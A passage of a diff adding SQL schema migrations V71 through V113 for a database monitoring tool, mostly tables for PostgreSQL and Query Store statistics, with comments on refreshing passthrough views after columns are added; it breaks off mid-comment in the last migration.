+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (71, 'pg-blocking-edges', now()::timestamp);
+-- ===BATCH=== V72 query-store-plan-map
+
+CREATE TABLE IF NOT EXISTS collect.query_store_plan_map (
+    server_id integer NOT NULL,
+    database_name text NOT NULL,
+    plan_id bigint NOT NULL,
+    digest bytea NOT NULL,
+    plan_hash text,
+    last_seen timestamp NOT NULL,
+    PRIMARY KEY (server_id, database_name, plan_id)
+);
+CREATE INDEX IF NOT EXISTS idx_query_store_plan_map_last_seen
+    ON collect.query_store_plan_map(last_seen);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (72, 'query-store-plan-map', now()::timestamp);
+-- ===BATCH=== V73 pg-statement-text
+
+CREATE TABLE IF NOT EXISTS collect.pg_statement_text (
+    server_id integer NOT NULL,
+    queryid bigint NOT NULL,
+    query_text text NOT NULL,
+    first_seen timestamp NOT NULL,
+    last_seen timestamp NOT NULL,
+    PRIMARY KEY (server_id, queryid)
+);
+CREATE INDEX IF NOT EXISTS idx_pg_statement_text_last_seen
+    ON collect.pg_statement_text(last_seen);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (73, 'pg-statement-text', now()::timestamp);
+-- ===BATCH=== V74 query-store-text
+CREATE TABLE IF NOT EXISTS collect.query_store_text (
+    server_id integer NOT NULL,
+    database_name text NOT NULL,
+    query_id bigint NOT NULL,
+    query_sql_text text,
+    last_seen timestamp NOT NULL,
+    PRIMARY KEY (server_id, database_name, query_id)
+);
+CREATE INDEX IF NOT EXISTS idx_query_store_text_last_seen
+    ON collect.query_store_text(last_seen);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (74, 'query-store-text', now()::timestamp);
+-- ===BATCH=== V75 plan-content-retention-knob
+
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS plan_content_retention_days integer NOT NULL DEFAULT 21;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (75, 'plan-content-retention-knob', now()::timestamp);
+-- ===BATCH=== V76 query-store-health
+
+CREATE TABLE IF NOT EXISTS collect.query_store_health (
+    config_id bigint NOT NULL,
+    capture_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    actual_state text,
+    desired_state text,
+    readonly_reason integer,
+    current_storage_size_mb bigint,
+    max_storage_size_mb bigint,
+    size_based_cleanup_mode text,
+    stale_query_threshold_days bigint,
+    max_plans_per_query bigint,
+    interval_length_minutes bigint,
+    query_capture_mode text,
+    wait_stats_capture_mode text
+);
+
+CREATE INDEX IF NOT EXISTS idx_query_store_health_time ON collect.query_store_health(server_id, capture_time);
+
+CREATE OR REPLACE VIEW v_query_store_health AS SELECT * FROM query_store_health;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (76, 'query-store-health', now()::timestamp);
+-- ===BATCH=== V77 activity-driven-plan-fetch
+
+ALTER TABLE collect.query_store_plan_map ALTER COLUMN digest DROP NOT NULL;
+
+ALTER TABLE collect.query_store_text ADD COLUMN IF NOT EXISTS query_hash text;
+
+DELETE FROM collector_state WHERE collector_name = 'query_store_plan_xml' AND state_key LIKE 'planwm:%';
+DELETE FROM collector_state WHERE collector_name = 'query_store_text' AND state_key LIKE 'textwm:%';
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (77, 'activity-driven-plan-fetch', now()::timestamp);
+-- ===BATCH=== V78 compose-statement-timeout
+
+ALTER TABLE config.config_service
+    ADD COLUMN IF NOT EXISTS compose_statement_timeout_seconds integer NOT NULL DEFAULT 15;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (78, 'compose-statement-timeout', now()::timestamp);
+-- ===BATCH=== V79 file-growth-alert
+
+ALTER TABLE config.config_alert_settings
+    ADD COLUMN IF NOT EXISTS file_growth_enabled boolean NOT NULL DEFAULT false,
+    ADD COLUMN IF NOT EXISTS file_growth_rise_mb integer NOT NULL DEFAULT 10240,
+    ADD COLUMN IF NOT EXISTS file_growth_volume_percent integer NOT NULL DEFAULT 60,
+    ADD COLUMN IF NOT EXISTS file_growth_lookback_minutes integer NOT NULL DEFAULT 60;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (79, 'file-growth-alert', now()::timestamp);
+-- ===BATCH=== V80 collection-log-fanout-rollup
+
+ALTER TABLE collect.collection_log
+    ADD COLUMN IF NOT EXISTS fanout_item_count integer,
+    ADD COLUMN IF NOT EXISTS slowest_item text,
+    ADD COLUMN IF NOT EXISTS slowest_item_ms integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the passthrough every read goes through
+   would keep serving eleven columns forever — the V14 lesson, and the reason it exists. Appending is the
+   one alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN produces. */
+CREATE OR REPLACE VIEW collect.v_collection_log AS SELECT * FROM collect.collection_log;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (80, 'collection-log-fanout-rollup', now()::timestamp);
+-- ===BATCH=== V81 tempdb-max-size
+
+ALTER TABLE collect.tempdb_stats
+    ADD COLUMN IF NOT EXISTS max_size_mb numeric(18,2);
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so the V4 passthrough the analysis fact
+   collector reads would keep serving the twelve columns it had forever — the V14 lesson, restated by V80.
+   Appending is the one alteration CREATE OR REPLACE VIEW permits, which is exactly what an ADD COLUMN
+   produces. */
+CREATE OR REPLACE VIEW collect.v_tempdb_stats AS SELECT * FROM collect.tempdb_stats;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (81, 'tempdb-max-size', now()::timestamp);
+-- ===BATCH=== V82 server-engine-kind
+
+ALTER TABLE collect.servers
+    ADD COLUMN IF NOT EXISTS engine_kind text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (82, 'server-engine-kind', now()::timestamp);
+-- ===BATCH=== V83 pg-database-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_database_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    xact_commit bigint,
+    xact_rollback bigint,
+    blks_read bigint,
+    blks_hit bigint,
+    temp_files bigint,
+    temp_bytes bigint,
+    deadlocks bigint,
+    stats_reset timestamp,
+    numbackends integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_database_stats_time
+    ON collect.pg_database_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (83, 'pg-database-stats', now()::timestamp);
+-- ===BATCH=== V84 pg-index-usage-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_index_usage_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    index_name text,
+    index_scans bigint,
+    tuples_read bigint,
+    tuples_fetched bigint,
+    blocks_read bigint,
+    blocks_hit bigint,
+    index_bytes bigint,
+    table_bytes bigint,
+    is_unique boolean,
+    is_primary_key boolean,
+    is_valid boolean,
+    is_ready boolean,
+    is_replica_identity boolean,
+    is_partial boolean,
+    is_expression boolean,
+    supports_constraint boolean,
+    index_method text,
+    column_count integer,
+    index_definition text,
+    last_scan timestamp,
+    stats_reset timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_index_usage_stats_time
+    ON collect.pg_index_usage_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (84, 'pg-index-usage-stats', now()::timestamp);
+-- ===BATCH=== V85 pg-table-bloat-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_table_bloat_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    heap_bytes bigint,
+    heap_pages bigint,
+    toast_bytes bigint,
+    index_bytes bigint,
+    live_tuples bigint,
+    dead_tuples bigint,
+    mods_since_analyze bigint,
+    last_analyzed timestamp,
+    estimated_tuple_bytes double precision,
+    estimated_heap_pages bigint,
+    fillfactor integer,
+    bloat_bytes_estimate bigint,
+    bloat_pct_estimate numeric(5,2),
+    estimate_unavailable boolean,
+    alignment_bytes integer,
+    pgstattuple_available boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_table_bloat_stats_time
+    ON collect.pg_table_bloat_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (85, 'pg-table-bloat-stats', now()::timestamp);
+-- ===BATCH=== V86 pg-session-states
+
+CREATE TABLE IF NOT EXISTS collect.pg_session_states (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    backend_id bigint,
+    pid integer,
+    database_name text,
+    username text,
+    application_name text,
+    client_addr text,
+    backend_type text,
+    state text,
+    wait_event_type text,
+    wait_event text,
+    command_tag text,
+    query_id bigint,
+    state_duration_ms bigint,
+    xact_duration_ms bigint,
+    query_duration_ms bigint,
+    backend_duration_ms bigint,
+    xmin_age bigint,
+    xid_age bigint,
+    horizon_age bigint,
+    is_idle_in_transaction boolean,
+    is_horizon_holder boolean,
+    state_is_redacted boolean,
+    total_sessions integer,
+    active_sessions integer,
+    idle_in_transaction_sessions integer,
+    reportable_sessions integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_session_states_time
+    ON collect.pg_session_states(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (86, 'pg-session-states', now()::timestamp);
+-- ===BATCH=== V87 pg-plan-capture-readiness
+
+CREATE TABLE IF NOT EXISTS collect.pg_plan_capture_readiness (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    facet text,
+    is_satisfied boolean,
+    observed text,
+    detail text
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_plan_capture_readiness_time
+    ON collect.pg_plan_capture_readiness(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (87, 'pg-plan-capture-readiness', now()::timestamp);
+-- ===BATCH=== V88 pg-write-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_write_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    num_timed bigint,
+    num_requested bigint,
+    num_done bigint,
+    restartpoints_timed bigint,
+    restartpoints_req bigint,
+    restartpoints_done bigint,
+    checkpoint_write_time_ms double precision,
+    checkpoint_sync_time_ms double precision,
+    buffers_written_checkpoint bigint,
+    slru_written bigint,
+    checkpointer_stats_reset timestamp,
+    buffers_clean bigint,
+    maxwritten_clean bigint,
+    buffers_alloc bigint,
+    buffers_backend bigint,
+    buffers_backend_fsync bigint,
+    bgwriter_stats_reset timestamp,
+    wal_records bigint,
+    wal_fpi bigint,
+    wal_bytes numeric(38,0),
+    wal_buffers_full bigint,
+    wal_write bigint,
+    wal_sync bigint,
+    wal_write_time_ms double precision,
+    wal_sync_time_ms double precision,
+    wal_stats_reset timestamp,
+    postmaster_start_time timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_write_stats_time
+    ON collect.pg_write_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (88, 'pg-write-stats', now()::timestamp);
+-- ===BATCH=== V89 pg-extension-availability
+
+CREATE TABLE IF NOT EXISTS collect.pg_extension_availability (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    extension_name text,
+    state text,
+    installed_version text,
+    default_version text,
+    is_monitoring_relevant boolean,
+    comment text
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_extension_availability_time
+    ON collect.pg_extension_availability(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (89, 'pg-extension-availability', now()::timestamp);
+-- ===BATCH=== V90 pg-lock-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_lock_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    lock_type text,
+    mode text,
+    granted boolean,
+    relation_oid bigint,
+    relation_name text,
+    backend_count bigint,
+    oldest_wait_ms double precision
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_lock_stats_time
+    ON collect.pg_lock_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (90, 'pg-lock-stats', now()::timestamp);
+-- ===BATCH=== V91 pg-column-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_column_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    column_name text,
+    n_distinct double precision,
+    null_frac double precision,
+    avg_width integer,
+    correlation double precision,
+    top_value_frequency double precision,
+    common_value_count integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_column_stats_time
+    ON collect.pg_column_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (91, 'pg-column-stats', now()::timestamp);
+-- ===BATCH=== V92 pg-replication-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_replication_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    application_name text,
+    client_addr text,
+    state text,
+    sync_state text,
+    sync_priority integer,
+    sent_bytes_behind bigint,
+    write_bytes_behind bigint,
+    flush_bytes_behind bigint,
+    replay_bytes_behind bigint,
+    write_lag_ms double precision,
+    flush_lag_ms double precision,
+    replay_lag_ms double precision,
+    backend_start timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_replication_stats_time
+    ON collect.pg_replication_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (92, 'pg-replication-stats', now()::timestamp);
+-- ===BATCH=== V93 pg-buffer-usage
+
+CREATE TABLE IF NOT EXISTS collect.pg_buffer_usage (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    relation_name text,
+    relation_kind text,
+    buffers bigint,
+    dirty_buffers bigint,
+    avg_usage_count double precision,
+    pool_buffers_total bigint,
+    pool_buffers_used bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_buffer_usage_time
+    ON collect.pg_buffer_usage(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (93, 'pg-buffer-usage', now()::timestamp);
+-- ===BATCH=== V94 pg-index-bloat
+
+CREATE TABLE IF NOT EXISTS collect.pg_index_bloat (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    index_name text,
+    index_bytes bigint,
+    tree_level integer,
+    internal_pages bigint,
+    leaf_pages bigint,
+    empty_pages bigint,
+    deleted_pages bigint,
+    avg_leaf_density double precision,
+    leaf_fragmentation double precision,
+    skipped_reason text,
+    index_pages bigint,
+    table_rows bigint,
+    fillfactor integer,
+    est_tuple_bytes bigint,
+    est_leaf_pages bigint,
+    est_bloat_pct double precision,
+    est_reclaimable_bytes bigint,
+    pgstattuple_available boolean
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_index_bloat_time
+    ON collect.pg_index_bloat(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (94, 'pg-index-bloat', now()::timestamp);
+-- ===BATCH=== V95 pg-per-database-attribution
+
+ALTER TABLE collect.pg_column_stats
+    ADD COLUMN IF NOT EXISTS database_name text;
+
+ALTER TABLE collect.pg_index_bloat
+    ADD COLUMN IF NOT EXISTS database_name text;
+
+ALTER TABLE collect.pg_extension_availability
+    ADD COLUMN IF NOT EXISTS database_name text;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (95, 'pg-per-database-attribution', now()::timestamp);
+-- ===BATCH=== V96 pg-wait-sampling
+
+CREATE TABLE IF NOT EXISTS collect.pg_wait_sampling (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    event_type text,
+    event text,
+    query_id bigint,
+    sample_count bigint,
+    profile_period_ms integer,
+    backend_count integer,
+    sampled_ms integer
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_wait_sampling_time
+    ON collect.pg_wait_sampling(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (96, 'pg-wait-sampling', now()::timestamp);
+-- ===BATCH=== V97 pg-kernel-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_kernel_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    query_id bigint,
+    exec_user_time_ms double precision,
+    exec_system_time_ms double precision,
+    plan_cpu_time_ms double precision,
+    exec_read_bytes bigint,
+    exec_write_bytes bigint,
+    minor_faults bigint,
+    major_faults bigint,
+    stats_since timestamp
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_kernel_stats_time
+    ON collect.pg_kernel_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (97, 'pg-kernel-stats', now()::timestamp);
+-- ===BATCH=== V98 pg-predicate-stats
+
+CREATE TABLE IF NOT EXISTS collect.pg_predicate_stats (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text,
+    schema_name text,
+    table_name text,
+    column_name text,
+    operator text,
+    query_id bigint,
+    sample_count bigint,
+    rows_evaluated bigint,
+    rows_filtered bigint,
+    worst_estimate_error_ratio double precision,
+    sample_rate double precision
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_predicate_stats_time
+    ON collect.pg_predicate_stats(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (98, 'pg-predicate-stats', now()::timestamp);
+-- ===BATCH=== V99 pg-plan-capture
+
+CREATE TABLE IF NOT EXISTS collect.pg_plan_capture (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    query_id bigint,
+    plan_hash text,
+    duration_ms double precision,
+    node_count integer,
+    top_node_type text,
+    plan_json text
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_plan_capture_time
+    ON collect.pg_plan_capture(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (99, 'pg-plan-capture', now()::timestamp);
+-- ===BATCH=== V100 pg-major-version
+
+ALTER TABLE collect.servers
+    ADD COLUMN IF NOT EXISTS postgres_major_version integer;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (100, 'pg-major-version', now()::timestamp);
+-- ===BATCH=== V101 pg18-io-bytes
+
+ALTER TABLE collect.pg_io_stats
+    ADD COLUMN IF NOT EXISTS read_bytes numeric(28,0),
+    ADD COLUMN IF NOT EXISTS write_bytes numeric(28,0),
+    ADD COLUMN IF NOT EXISTS extend_bytes numeric(28,0);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (101, 'pg18-io-bytes', now()::timestamp);
+-- ===BATCH=== V102 pg-server-config
+
+CREATE TABLE IF NOT EXISTS collect.pg_server_config (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    name text,
+    setting text,
+    unit text,
+    category text,
+    context text,
+    vartype text,
+    source text,
+    boot_val text,
+    reset_val text,
+    sourcefile text,
+    sourceline integer,
+    pending_restart boolean,
+    short_desc text,
+    database_name text,
+    role_name text
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_server_config_time
+    ON collect.pg_server_config(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (102, 'pg-server-config', now()::timestamp);
+-- ===BATCH=== V103 pg-deadlocks
+
+CREATE TABLE IF NOT EXISTS collect.pg_deadlocks (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    occurred_at timestamp,
+    victim_pid integer,
+    participant_count integer,
+    deadlock_hash text,
+    lock_modes text,
+    resources text,
+    victim_statement text,
+    graph_text text
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_deadlocks_time
+    ON collect.pg_deadlocks(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (103, 'pg-deadlocks', now()::timestamp);
+-- ===BATCH=== V104 pg-deadlock-identity-index
+
+CREATE INDEX IF NOT EXISTS idx_pg_deadlocks_identity
+    ON collect.pg_deadlocks(server_id, deadlock_hash);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (104, 'pg-deadlock-identity-index', now()::timestamp);
+-- ===BATCH=== V105 collector-cost
+
+CREATE TABLE IF NOT EXISTS collect.collector_cost
+(
+    metric_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    database_name text,
+    collector_name text NOT NULL,
+    run_count integer NOT NULL,
+    total_sql_ms bigint NOT NULL,
+    max_sql_ms bigint NOT NULL,
+    total_storage_ms bigint NOT NULL,
+    total_rows bigint NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_collector_cost_time
+    ON collect.collector_cost(metric_time);
+
+CREATE INDEX IF NOT EXISTS idx_collector_cost_lookup
+    ON collect.collector_cost(server_id, collector_name, metric_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (105, 'collector-cost', now()::timestamp);
+-- ===BATCH=== V106 pg-cpu-utilization
+
+CREATE TABLE IF NOT EXISTS collect.pg_cpu_utilization (
+    collection_id bigint NOT NULL,
+    collection_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    sample_time timestamp,
+    cpu_percent double precision,
+    acu_utilization_percent double precision,
+    serverless_capacity_acu double precision,
+    max_configured_acu double precision,
+    memory_total_bytes bigint,
+    memory_free_bytes bigint,
+    memory_cached_bytes bigint,
+    memory_buffers_bytes bigint,
+    memory_active_bytes bigint,
+    configured_memory_bytes bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_pg_cpu_utilization_time
+    ON collect.pg_cpu_utilization(server_id, collection_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (106, 'pg-cpu-utilization', now()::timestamp);
+-- ===BATCH=== V107 plan-force-actions
+
+CREATE TABLE IF NOT EXISTS collect.plan_force_actions
+(
+    action_id bigint GENERATED ALWAYS AS IDENTITY PRIMARY KEY,
+    action_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    database_name text NOT NULL,
+    query_id bigint NOT NULL,
+    plan_id bigint NOT NULL,
+    action text NOT NULL,
+    mode text NOT NULL,
+    decision text NOT NULL,
+    reasons text NOT NULL DEFAULT '',
+    regression_factor numeric(19,2) NOT NULL DEFAULT 0,
+    latest_cpu_per_exec_us numeric(19,2) NOT NULL DEFAULT 0,
+    best_cpu_per_exec_us numeric(19,2) NOT NULL DEFAULT 0,
+    replica_role text,
+    parameter_sensitivity_cofired boolean NOT NULL DEFAULT FALSE,
+    outcome text NOT NULL,
+    detail text,
+    related_action_id bigint
+);
+
+CREATE INDEX IF NOT EXISTS idx_plan_force_actions_time
+    ON collect.plan_force_actions(server_id, action_time);
+
+CREATE INDEX IF NOT EXISTS idx_plan_force_actions_query
+    ON collect.plan_force_actions(server_id, database_name, query_id, action_time);
+
+ALTER TABLE config.config_monitored_servers
+    ADD COLUMN IF NOT EXISTS plan_force_bot_enabled boolean NOT NULL DEFAULT FALSE;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (107, 'plan-force-actions', now()::timestamp);
+-- ===BATCH=== V108 collection-log-phase-split
+
+ALTER TABLE collect.collection_log
+    ADD COLUMN IF NOT EXISTS sql_open_ms integer,
+    ADD COLUMN IF NOT EXISTS sql_drain_ms integer,
+    ADD COLUMN IF NOT EXISTS watermark_ms integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so without this refresh the passthrough every
+   read goes through would keep serving the pre-V108 column list forever and the new columns would be
+   invisible to an UPGRADED store while working fine on a fresh one - the V14 lesson, and V80's too. */
+CREATE OR REPLACE VIEW collect.v_collection_log AS SELECT * FROM collect.collection_log;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (108, 'collection-log-phase-split', now()::timestamp);
+-- ===BATCH=== V109 collection-log-drain-forensics
+
+ALTER TABLE collect.collection_log
+    ADD COLUMN IF NOT EXISTS drain_rows_read bigint,
+    ADD COLUMN IF NOT EXISTS drain_bytes_read bigint,
+    ADD COLUMN IF NOT EXISTS drain_last_read_ms integer,
+    ADD COLUMN IF NOT EXISTS target_session_id integer,
+    ADD COLUMN IF NOT EXISTS sweep_peer_max_ms integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so without this refresh the passthrough every
+   read goes through would keep serving the pre-V109 column list forever - invisible on an UPGRADED store
+   while working fine on a fresh one. The V14 lesson, V80's, and V108's. */
+CREATE OR REPLACE VIEW collect.v_collection_log AS SELECT * FROM collect.collection_log;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (109, 'collection-log-drain-forensics', now()::timestamp);
+-- ===BATCH=== V110 collection-log-fetch-phase-sums
+
+ALTER TABLE collect.collection_log
+    ADD COLUMN IF NOT EXISTS plan_fetch_probe_ms integer,
+    ADD COLUMN IF NOT EXISTS plan_fetch_target_ms integer,
+    ADD COLUMN IF NOT EXISTS plan_fetch_write_ms integer,
+    ADD COLUMN IF NOT EXISTS plan_fetch_ids_attempted integer,
+    ADD COLUMN IF NOT EXISTS plan_fetch_probe_ids integer,
+    ADD COLUMN IF NOT EXISTS text_fetch_probe_ms integer,
+    ADD COLUMN IF NOT EXISTS text_fetch_target_ms integer,
+    ADD COLUMN IF NOT EXISTS text_fetch_write_ms integer,
+    ADD COLUMN IF NOT EXISTS text_fetch_ids_attempted integer,
+    ADD COLUMN IF NOT EXISTS text_fetch_probe_ids integer;
+
+/* Postgres FREEZES a view's SELECT * column list at CREATE, so without this refresh the passthrough every
+   read goes through would keep serving the pre-V110 column list forever - invisible on an UPGRADED store
+   while working fine on a fresh one. The V14 lesson, V80's, V108's and V109's. */
+CREATE OR REPLACE VIEW collect.v_collection_log AS SELECT * FROM collect.collection_log;
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (110, 'collection-log-fetch-phase-sums', now()::timestamp);
+-- ===BATCH=== V111 store-log-self-monitoring
+
+CREATE TABLE IF NOT EXISTS collect.store_log_events
+(
+    capture_time timestamp NOT NULL,
+    event_class text NOT NULL,
+    severity text NOT NULL,
+    occurrences integer NOT NULL,
+    message_text text,
+    sample_line text
+);
+
+CREATE INDEX IF NOT EXISTS idx_store_log_events_time
+    ON collect.store_log_events(capture_time);
+
+CREATE INDEX IF NOT EXISTS idx_store_log_events_class
+    ON collect.store_log_events(event_class, capture_time);
+
+CREATE TABLE IF NOT EXISTS collect.store_log_captures
+(
+    capture_time timestamp NOT NULL,
+    log_file text NOT NULL,
+    bytes_read bigint NOT NULL,
+    bytes_pending bigint NOT NULL,
+    lines_read integer NOT NULL,
+    entries_read integer NOT NULL,
+    offset_reset boolean NOT NULL,
+    groups_dropped integer NOT NULL
+);
+
+CREATE INDEX IF NOT EXISTS idx_store_log_captures_time
+    ON collect.store_log_captures(capture_time);
+
+CREATE TABLE IF NOT EXISTS config.store_log_read_marker
+(
+    log_file text NOT NULL PRIMARY KEY,
+    byte_offset bigint NOT NULL,
+    last_size bigint NOT NULL,
+    updated_at timestamp NOT NULL
+);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (111, 'store-log-self-monitoring', now()::timestamp);
+-- ===BATCH=== V112 collector-stall-wait-probes
+
+CREATE TABLE IF NOT EXISTS collect.collector_stall_probes
+(
+    probe_time timestamp NOT NULL,
+    server_id integer NOT NULL,
+    server_name text NOT NULL,
+    collector_name text NOT NULL,
+    outcome text NOT NULL,
+    budget_ms integer NOT NULL,
+    trigger_elapsed_ms integer NOT NULL,
+    trigger_rows_read bigint,
+    trigger_bytes_read bigint,
+    trigger_last_read_ms integer,
+    connect_ms integer,
+    query_ms integer,
+    waiting_task_count bigint,
+    distinct_wait_types integer,
+    top_wait_type text,
+    top_wait_total_ms bigint,
+    top_wait_max_ms bigint,
+    wait_summary text,
+    scheduler_count integer,
+    runnable_tasks bigint,
+    work_queue_length bigint,
+    pending_disk_io bigint,
+    max_runnable_tasks integer,
+    error_message text
+);
+
+/* The read is newest-first per server, and the retention DELETE is by time alone, so one index serves both.
+   Not UNIQUE: two collectors on one server can stall in the same millisecond, and a unique key would drop
+   the second sample - the one that proves the degradation is not confined to a single collector. */
+CREATE INDEX IF NOT EXISTS idx_collector_stall_probes_time
+    ON collect.collector_stall_probes(server_id, probe_time);
+INSERT INTO darling_schema_version (version, name, applied_at) VALUES (112, 'collector-stall-wait-probes', now()::timestamp);
+-- ===BATCH=== V113 remediation-credential-and-actor
+
+ALTER TABLE config.config_monitored_servers
+    ADD COLUMN IF NOT EXISTS remediation_username text;
+
+ALTER TABLE config.config_monitored_servers
+    ADD COLUMN IF NOT EXISTS remediation_encrypted_password text;
+
+ALTER TABLE collect.plan_force_actions
+    ADD COLUMN IF NOT EXISTS actor text NOT NULL DEFAULT 'bot';
+
+ALTER TABLE collect.plan_force_actions
+    ALTER COLUMN actor DROP DEFAULT;
+
+/* The review read is (server_id, actor, action) with an ordering on action_time, and it is the read the
